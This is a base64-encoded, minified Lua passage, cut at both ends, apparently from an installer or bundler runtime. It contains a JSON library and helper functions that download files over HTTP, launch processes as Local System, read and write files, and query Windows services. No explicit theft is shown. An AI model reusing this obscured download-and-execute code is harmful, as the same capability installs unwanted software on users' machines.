YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
